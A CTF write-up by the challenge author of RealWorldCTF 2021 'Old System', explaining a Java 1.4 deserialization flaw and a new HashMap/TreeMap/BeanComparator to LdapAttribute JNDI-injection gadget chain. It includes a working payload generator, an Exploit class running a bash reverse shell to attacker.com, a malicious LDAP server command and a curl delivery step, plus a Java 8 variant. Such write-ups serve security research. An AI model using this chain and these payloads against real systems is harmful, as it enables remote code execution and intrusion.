Skip to content

Latest commit

 

History

History

writeup

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 

RealWolrdCTF 2021 Old System Writeup

Author: Voidfyoo of Chaitin Tech

Overview

In 2021 RealWorldCTF (also referred to as RWCTF), I made a Java deserialization challenge named Old System. Players need to exploit the deserialization vulnerability in the environment of java 1.4.

You might think: "What? Java 1.4? This is too old, it's almost 20 years ago". In fact, this challenge is modified based on a real system I encountered in a penetration test last year. The key of this challenge is to examine the players' understanding of the Java deserialization exploit gadget chain and the ability to mine new gadget chains. If you are interested, please continue reading.

Challenge Analysis

Start the game!

The description of Old System challenge is as follows:

How to exploit the deserialization vulnerability in such an ancient Java environment ?

Java version: 1.4.2_19

The java version is specified in the description, and the webapp war is provided in the attachment:

Only one servlet is defined in WEB-INF/web.xml:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!--
  Copyright 2004 The Apache Software Foundation

  Licensed under the Apache License, Version 2.0 (the "License");
  you may not use this file except in compliance with the License.
  You may obtain a copy of the License at

      http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->

<web-app xmlns="http://java.sun.com/xml/ns/j2ee"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
    version="2.4">

  <display-name>Tomcat Demo Webapp</display-name>
  <description>Tomcat Demo Webapp</description>


    <servlet>
        <servlet-name>org.rwctf.ObjectServlet</servlet-name>
        <servlet-class>org.rwctf.ObjectServlet</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>org.rwctf.ObjectServlet</servlet-name>
        <url-pattern>/object</url-pattern>
    </servlet-mapping>


</web-app>

The request access path mapped by this servlet is /object, and the corresponding class is ObjectServlet:

package org.rwctf;

import java.io.File;
import java.io.IOException;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class ObjectServlet extends HttpServlet {
    private ClassLoader appClassLoader;

    public ObjectServlet() {
    }

    public void init(ServletConfig var1) throws ServletException {
        super.init(var1);
        String var2 = var1.getServletContext().getRealPath("/");
        File var3 = new File(var2 + File.separator + "WEB-INF" + File.separator + File.separator + "lib");
        if (var3.exists() && var3.isDirectory()) {
            File[] var4 = var3.listFiles();
            if (var4 != null) {
                URL[] var5 = new URL[var4.length + 1];

                for(int var6 = 0; var6 < var4.length; ++var6) {
                    if (var4[var6].getName().endsWith(".jar")) {
                        try {
                            var5[var6] = var4[var6].toURI().toURL();
                        } catch (MalformedURLException var9) {
                            var9.printStackTrace();
                        }
                    }
                }

                File var10 = new File(var2 + File.separator + "WEB-INF" + File.separator + File.separator + "classes");
                if (var10.exists() && var10.isDirectory()) {
                    try {
                        var5[var5.length - 1] = var10.toURI().toURL();
                    } catch (MalformedURLException var8) {
                        var8.printStackTrace();
                    }
                }

                this.appClassLoader = new URLClassLoader(var5);
            }
        }

    }

    protected void doPost(HttpServletRequest var1, HttpServletResponse var2) throws ServletException, IOException {
        PrintWriter var3 = var2.getWriter();
        ClassLoader var4 = Thread.currentThread().getContextClassLoader();
        Thread.currentThread().setContextClassLoader(this.appClassLoader);

        try {
            ClassLoaderObjectInputStream var5 = new ClassLoaderObjectInputStream(this.appClassLoader, var1.getInputStream());
            Object var6 = var5.readObject();
            var5.close();
            var3.print(var6);
        } catch (ClassNotFoundException var10) {
            var10.printStackTrace(var3);
        } finally {
            Thread.currentThread().setContextClassLoader(var4);
        }

    }
}

Note that the HTTP request body part is deserialized in the doPost method of the ObjectServlet class, so there is a deserialization vulnerability.

When designing this challenge, in order to ensure the difficulty, I designed a URLClassLoader (that is, the appClassLoader field of the ObjectServlet class) for the entire deserialization process. The purpose is to limit the classes that can be loaded by deserialization within the scope of the JRE standard library and the current webapp (/WEB-INF/classes, /WEB-INF/lib/), players are not allowed to consider Tomcat's global dependency library. The design purpose of the ClassLoaderObjectInputStream class is also the same:

package org.rwctf;

import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import java.io.StreamCorruptedException;
import java.lang.reflect.Proxy;

public class ClassLoaderObjectInputStream extends ObjectInputStream {
    private final ClassLoader classLoader;

    public ClassLoaderObjectInputStream(ClassLoader var1, InputStream var2) throws IOException, StreamCorruptedException {
        super(var2);
        this.classLoader = var1;
    }

    protected Class resolveClass(ObjectStreamClass var1) throws IOException, ClassNotFoundException {
        return Class.forName(var1.getName(), false, this.classLoader);
    }

    protected Class resolveProxyClass(String[] var1) throws IOException, ClassNotFoundException {
        Class[] var2 = new Class[var1.length];

        for(int var3 = 0; var3 < var1.length; ++var3) {
            var2[var3] = Class.forName(var1[var3], false, this.classLoader);
        }

        return Proxy.getProxyClass(this.classLoader, var2);
    }
}

Ysoserial gadget analysis

Ok, now it is clear that this challenge is a deserialization vulnerability. The range of classes that can be loaded by deserialization is the JRE standard library, /WEB-INF/lib/ and /WEB-INF/classes/ jar/class.

There are 4 jar packages in the /WEB-INF/lib/ directory:

If you know about Java deserialization vulnerabilities, then you must know ysoserial, a Java deserialization exploit tool. Ysoserial has integrated a lot of Java deserialization gadget chain payload, here is the source code address of this project: https://github.com/frohoff/ysoserial

You can directly run ysoserial to see which gadget chain payload can be generated:

Experienced players should directly notice the two libraries commons-collections and commons-beanutils. The usage of these two libraries is very extensive, and we often deal with them whether it is penetration testing or code auditing. So at first glance, you might think that these two libraries happen to exist in the webapp dependencies, so just pick one and break through?

But you should note that this system is very old, so in fact its dependent library version is also very old.

For example, the version of the commons-collections library is 2.1

The core of the commons-collections library's deserialization gadget chain lies in Transformer, such as InvokerTransformer or InstantiateTransformer, but these classes do not exist in the 2.1 version of the commons-collections library:

Therefore, the gadget chain of the CommonsCollections series in ysoserial definitely does not work.

Now let's look at CommonsBeanutils.

Some novices may be confused by the dependency library version of the gadget chain marked in ysoserial, thinking that a certain chain can only work under the corresponding marked dependency version, which is not the case. Like the CommonsBeanutils1 chain in ysoserial, the dependency version marked by the author is:

commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2

But these versions actually reflect only the library version used by the author of ysoserial when writing and using them, and the actual scope of influence may not be limited to this. Therefore, before rushing to draw specific conclusions on the dependency version, let's take a look at how this chain is constructed in the source code in ysoserial:

package ysoserial.payloads;

import java.math.BigInteger;
import java.util.PriorityQueue;

import org.apache.commons.beanutils.BeanComparator;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
@Authors({ Authors.FROHOFF })
public class CommonsBeanutils1 implements ObjectPayload<Object> {

	public Object getObject(final String command) throws Exception {
		final Object templates = Gadgets.createTemplatesImpl(command);
		// mock method name until armed
		final BeanComparator comparator = new BeanComparator("lowestSetBit");

		// create queue with numbers and basic comparator
		final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
		// stub data for replacement later
		queue.add(new BigInteger("1"));
		queue.add(new BigInteger("1"));

		// switch method called by comparator
		Reflections.setFieldValue(comparator, "property", "outputProperties");

		// switch contents of queue
		final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
		queueArray[0] = templates;
		queueArray[1] = templates;

		return queue;
	}

}

After careful analysis of the construction principle of the CommonsBeanutils1 chain, you will find that the core of this chain is the class org.apache.commons.beanutils.BeanComparator, which implements both the Comparator and Serializable interfaces, and when comparing, a specific getter method will be called on the passed comparison object:

commons-beanutils-1.9.3.jar!/org/apache/commons/beanutils/BeanComparator.class

Then ysoserial CommonsBeanutils1 is constructed with PriorityQueue as the entrance of the gadget chain. PriorityQueue's constructor can accept a Comparator instance object as a parameter to construct, and then use this Comparator.compare method to sort the objects in the queue during deserialization. Therefore, the first half of the chain call process is:

ObjectInputStream.readObject()
    PriorityQueue.readObject()
    PriorityQueue.heapify()
    PriorityQueue.siftDown()
    PriorityQueue.siftDownUsingComparator()
        BeanComparator.compare()

After the first half of the ysoserial CommonsBeanutils1 chain can be executed to the BeanComparator.compare method, the second half is to find a serializable class whose getter method can trigger dangerous and sensitive operations. The publicly available gadget chains in the JRE libraries include TemplatesImpl and JdbcRowSetImpl, and their getter methods can trigger RCE:

  • com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties: load custom bytecode and instantiate it to execute arbitrary Java code
  • com.sun.rowset.JdbcRowSetImpl#getDatabaseMetaData: trigger JNDI injection, can also execute arbitrary Java code

The ysoserial CommonsBeanutils1 source code uses TemplatesImpl, so the entire deserialization gadget chain call process is:

ObjectInputStream.readObject()
    PriorityQueue.readObject()
    PriorityQueue.heapify()
    PriorityQueue.siftDown()
    PriorityQueue.siftDownUsingComparator()
        BeanComparator.compare()
            PropertyUtils.getProperty()
                PropertyUtilsBean.getProperty()
                PropertyUtilsBean.getNestedProperty()
                PropertyUtilsBean.getSimpleProperty()
                PropertyUtilsBean.invokeMethod()
                    TemplatesImpl.getOutputProperties()
                    TemplatesImpl.newTransformer()
                    TemplatesImpl.getTransletInstance()
                        TransletClassLoader.defineClass()
                    Class.newInstance()
                        Runtime.getRuntime().exec(command)

Dilemma under Java 1.4

After analyzing the gadget chain source code of ysoserial CommonsBeanutils1, we turned our eyes back to this challenge. First, you need to confirm whether the core class BeanComparator exists.

What's not bad is that although the commons-beanutils dependency version used in the challenge is 1.6, which is considered a very old version, the core class BeanComparator does exist. Although the code of the compare method has been slightly changed, it is still possible to execute the specific getter method of the compared object:

After confirming the existence of the BeanComparator core class, let's confirm that the rest of the CommonsBeanutils gadget chain.

Here comes the most interesting part of this challenge, because you will be surprised to find that there is no PriorityQueue class in the Java 1.4 environment (this class plays the role of "entry" in the CommonsBeanutils gadget chain structure). Not only there is no PriorityQueue class, but also TemplatesImpl and JdbcRowSetImpl (these two classes play the role of "export" in the CommonsBeanutils gadget chain to achieve the final arbitrary code execution)!

This is equivalent to a link with three nodes. The ingress and egress nodes appear to be broken, leaving only the middle node to be used. How to repair it?

From readObject to BeanComparator.compare

Don't worry, let's try to restore the idea of the original author frohoff of ysoserial CommonsBeanutils1 when building this gadget chain. As the entrance to the gadget chain, the original author used PriorityQueue. The so-called deserialization is to restore data to objects, so if you want to get an object instance of the PriorityQueue, sorting operations will inevitably be carried out during the deserialization process. In the sorting process, the Comparator interface class is very likely to be used to compare the data object in the data structure.

According to this idea, although PriorityQueue does not exist in Java 1.4, there are definitely other data structures involved in sorting and comparison.

According to the communication with the players after the ctf, some players have actually found out the way to the Comparator.compare method. There is more than one way. Here I give the method I found when solving this problem. The call stack from the entry to BeanComparator.compare is as follows:

java.util.HashMap#readObject
java.util.HashMap#putForCreate
java.util.HashMap#eq
    java.util.AbstractMap#equals
        java.util.TreeMap#get
        java.util.TreeMap#getEntry
            org.apache.commons.beanutils.BeanComparator#compare

The key is TreeMap. Just like PriorityQueue, TreeMap also accepts a Comparator instance as a parameter of the constructor, and then when the TreeMap.get method is invoked, the Comparator.compare method is triggered.

So the key is to find another class, which can trigger Map.get when it is deserialized, so that you can go to TreeMap.get.

Here I noticed that there is a call to the Map.get method in the AbstractMap.equals method:

java.util.AbstractMap#equals

This is very logical, because when two Map objects are compared for equality, the Map key will also be taken out for comparison.

HashMap will call the putForCreate method when deserializing:

java.util.HashMap#putForCreate

In the putForCreate method, when the hashes of the two key objects to be compared are the same, the equality comparison call will be entered. The problem of hash judgment can be solved by creating two objects with exactly the same structure but different reference addresses. such as:

TreeMap treeMap1 = new TreeMap(comparator);
treeMap1.put(payloadObject, "aaa");
TreeMap treeMap2 = new TreeMap(comparator);
treeMap2.put(payloadObject, "aaa");
HashMap hashMap = new HashMap();
hashMap.put(treeMap1, "bbb");
hashMap.put(treeMap2, "ccc");

So this completes the call from the deserialization entry readObject to the BeanComparator.compare method!

From BeanComparator.compare to RCE

Many players have actually completed the step from readObject to the BeanComparator.compare method call, but in the end they are all stuck on finding the final RCE gadget class. This part is the biggest difficulty of this challenge. Players need to search for classes that meet the following conditions in the entire Java 1.4 JRE libraries:

  • It implements the Serializable interface;
  • A sensitive and dangerous operation was performed in one of its getter methods.

Specifically, for the getter method, first the modifier needs to be public, and then the method name starts with get and has no parameters.

The public gadget classes TemplatesImpl and JdbcRowSetImpl are not available in the Java 1.4 version, so if you want to solve this problem, there is no shortcut, only to mine new chains.

Searching the Java 1.4 JRE libraries according to these conditions, in fact, there are still many results. And to finally find a gadget chain that meets the conditions and can complete the RCE within two days in such a large range, I think experience, skill, patience, and care are indispensable.

In fact, the gadget chain I finally found was also very unobvious. I once wanted to give up, thinking that this class could not be used, but in the end, it turned out that the problem was solved after many debugging!

To reveal my expected solution directly, it is com.sun.jndi.ldap.LdapAttribute#getAttributeDefinition.

The code of the com.sun.jndi.ldap.LdapAttribute#getAttributeDefinition method is as follows:

In the LdapAttribute.getAttributeDefinition() method, it first calls the getBaseCtx() method to create an InitialDirContext object, and it will use the baseCtxURL attribute to fill in java.naming.provider.url. During the deserialization process, the value of the baseCtxURL attribute is actually controllable (we can freely specify it during serialization), so this is equivalent to allowing the attacker to directly specify the JNDI connection address:

com.sun.jndi.ldap.LdapAttribute#getBaseCtx

According to the conditions of the JNDI injection attack, now that the address of the JNDI connection is controllable, then find a way to trigger the InitialContext.lookup method.

At first I always thought that I would trigger JNDI injection at the lookup in the line of code (DirContext)var1.lookup("AttributeDefinition/" + this.getID()), but after many attempts, I did not succeed because of this lookup method is actually HierMemDirCtx.lookup, and HierMemDirCtx is not a subclass of InitialContext.

When I found that the method of HierMemDirCtx.lookup could not perform JNDI injection, I temporarily gave up for a while and turned to analyze other gadget classes. But after I audited all the possible classes, I felt that there was nothing to left, so I had to look back and continue to bite the bullet and analyze. In the end, it turns out that to trigger JNDI injection, it is not necessary to use the InitialContext.lookup method as the entry point!

Taking the LDAP protocol as an example of JNDI injection, the call stack of the InitialContext.lookup method is:

javax.naming.InitialContext#lookup(java.lang.String)
-> com.sun.jndi.url.ldap.ldapURLContext#lookup(java.lang.String)
-> com.sun.jndi.toolkit.url.GenericURLContext#lookup(java.lang.String)
-> com.sun.jndi.toolkit.ctx.PartialCompositeContext#lookup(javax.naming.Name)
-> com.sun.jndi.toolkit.ctx.ComponentContext#p_lookup
-> com.sun.jndi.ldap.LdapCtx#c_lookup
-> ......

Therefore, if the LdapCtx.c_lookup method can be executed directly, and the JNDI address is controllable, the same vulnerability exploit effect as JNDI injection can be achieved.

Here, by constructing and using the payload, the call stack can be made as follows:

com.sun.jndi.ldap.LdapAttribute#getAttributeDefinition
-> javax.naming.directory.InitialDirContext#getSchema(javax.naming.Name)
-> com.sun.jndi.toolkit.ctx.PartialCompositeDirContext#getSchema(javax.naming.Name)
-> com.sun.jndi.toolkit.ctx.ComponentDirContext#p_getSchema
-> com.sun.jndi.toolkit.ctx.ComponentContext#p_resolveIntermediate
-> com.sun.jndi.toolkit.ctx.AtomicContext#c_resolveIntermediate_nns
-> com.sun.jndi.toolkit.ctx.ComponentContext#c_resolveIntermediate_nns
-> com.sun.jndi.ldap.LdapCtx#c_lookup
-> ......

Therefore, JNDI injection can be performed to implement RCE.

PoC

PoC for generating the serialized payload:

import org.apache.commons.beanutils.BeanComparator;

import javax.naming.CompositeName;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.TreeMap;

public class PayloadGenerator {

    public static void main(String[] args) throws Exception {

        String ldapCtxUrl = "ldap://attacker.com:1389";
        
        Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
        Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(
                new Class[] {String.class});
        ldapAttributeClazzConstructor.setAccessible(true);
        Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(
                new Object[] {"name"});

        Field baseCtxUrlField = ldapAttributeClazz.getDeclaredField("baseCtxURL");
        baseCtxUrlField.setAccessible(true);
        baseCtxUrlField.set(ldapAttribute, ldapCtxUrl);

        Field rdnField = ldapAttributeClazz.getDeclaredField("rdn");
        rdnField.setAccessible(true);
        rdnField.set(ldapAttribute, new CompositeName("a//b"));
        
        // Generate payload
        BeanComparator comparator = new BeanComparator("class");
        TreeMap treeMap1 = new TreeMap(comparator);
        treeMap1.put(ldapAttribute, "aaa");
        TreeMap treeMap2 = new TreeMap(comparator);
        treeMap2.put(ldapAttribute, "aaa");
        HashMap hashMap = new HashMap();
        hashMap.put(treeMap1, "bbb");
        hashMap.put(treeMap2, "ccc");

        Field propertyField = BeanComparator.class.getDeclaredField("property");
        propertyField.setAccessible(true);
        propertyField.set(comparator, "attributeDefinition");

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.ser"));
        oos.writeObject(hashMap);
        oos.close();

    }

}

Note that PoC must be run under the dependencies given by Java 1.4 and the challenge environment, otherwise serialVersionUID inconsistencies may occur during deserialization.

The entire payload deserialization call stack is:

java.io.ObjectInputStream#readObject
-> java.util.HashMap#readObject
-> java.util.HashMap#putForCreate
-> java.util.HashMap#eq
-> java.util.AbstractMap#equals
-> java.util.TreeMap#get
-> java.util.TreeMap#getEntry
-> java.util.TreeMap#compare
-> org.apache.commons.beanutils.BeanComparator#compare
-> org.apache.commons.beanutils.PropertyUtils#getProperty
-> org.apache.commons.beanutils.PropertyUtils#getNestedProperty
-> org.apache.commons.beanutils.PropertyUtils#getSimpleProperty
-> java.lang.reflect.Method#invoke
-> com.sun.jndi.ldap.LdapAttribute#getAttributeDefinition
-> javax.naming.directory.InitialDirContext#getSchema(javax.naming.Name)
-> com.sun.jndi.toolkit.ctx.PartialCompositeDirContext#getSchema(javax.naming.Name)
-> com.sun.jndi.toolkit.ctx.ComponentDirContext#p_getSchema
-> com.sun.jndi.toolkit.ctx.ComponentContext#p_resolveIntermediate
-> com.sun.jndi.toolkit.ctx.AtomicContext#c_resolveIntermediate_nns
-> com.sun.jndi.toolkit.ctx.ComponentContext#c_resolveIntermediate_nns
-> com.sun.jndi.ldap.LdapCtx#c_lookup
-> JNDI Injection RCE

Exploit steps:

Compile the following Exploit.java file under the environment of Java 1.4 to get Exploit.class file, which is used to execute the command of the reverse shell to port 6666 of the attacker.com host:

import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;

public class Exploit
implements ObjectFactory {
    public Object getObjectInstance(Object object, Name name, Context context, Hashtable hashtable) throws Exception {
        Runtime.getRuntime().exec(new String[]{"bash", "-c", "sh -i >& /dev/tcp/attacker.com/6666 0>&1"});
        return null;
    }
}

Put the obtained Exploit.class on the http server, for example, the URL is http://attacker.com/Exploit.class

Then run marshalsec to start a malicious ldap service (marshalsec can be run with java 8):

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389

Finally, the malicious serialized data object.ser obtained by the previous PoC operation is passed to the /object http interface of the challenge, and the exploit can be completed and the reverse shell is obtained:

curl http://challenge_address:28080/object --data-binary @object.ser

Think more

Later, I found that the class com.sun.jndi.ldap.LdapAttribute is also available in Java 8, so the JNDI injection of this gadget chain is also applicable to Java 8:

import javax.naming.CompositeName;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class PayloadTest {

    public static void main(String[] args) throws Exception {


        String ldapCtxUrl = "ldap://attacker.com:1389";

        Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
        Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(
                new Class[] {String.class});
        ldapAttributeClazzConstructor.setAccessible(true);
        Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(
                new Object[] {"name"});

        Field baseCtxUrlField = ldapAttributeClazz.getDeclaredField("baseCtxURL");
        baseCtxUrlField.setAccessible(true);
        baseCtxUrlField.set(ldapAttribute, ldapCtxUrl);

        Field rdnField = ldapAttributeClazz.getDeclaredField("rdn");
        rdnField.setAccessible(true);
        rdnField.set(ldapAttribute, new CompositeName("a//b"));

        Method getAttributeDefinitionMethod = ldapAttributeClazz.getMethod("getAttributeDefinition", new Class[] {});
        getAttributeDefinitionMethod.setAccessible(true);
        getAttributeDefinitionMethod.invoke(ldapAttribute, new Object[] {});

    }

}

So if I am not mistaken, it should also be considered as a new getter RCE gadget ;)

References